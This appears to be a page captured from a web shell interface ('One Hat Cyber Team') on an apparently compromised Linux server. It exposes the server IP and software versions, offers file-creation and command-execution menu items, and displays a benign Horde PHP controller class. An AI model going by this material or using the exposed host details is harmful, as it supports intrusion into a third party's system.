⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Controller
/
View File Name :
Response.php
* @category Horde * @license http://www.horde.org/licenses/bsd BSD * @package Controller */ /** * * * @author James Pepin
* @category Horde * @copyright 2008-2017 Horde LLC * @license http://www.horde.org/licenses/bsd BSD * @package Controller */ class Horde_Controller_Response { protected $_headers = array(); protected $_body; protected $_requestConfiguration; public function __construct() { } public function setHeaders(array $headers) { $this->_headers = array_merge($this->_headers, $headers); } public function setHeader($name, $value) { $this->_headers[$name] = $value; } public function setContentType($contentType, $charset = 'UTF-8') { $this->setHeader('Content-Type', "$contentType; charset=$charset"); } public function setBody($body) { $this->_body = $body; } public function getHeaders() { return $this->_headers; } public function getBody() { return $this->_body; } public function internalRedirect() { return $this->_requestConfiguration != null; } public function setRedirectUrl($url) { $this->_headers['Location'] = $url; } public function getRedirectConfiguration() { return $this->_requestConfiguration; } public function setRedirectConfiguration(Horde_Controller_RequestConfiguration $config) { $this->_requestConfiguration = $config; } }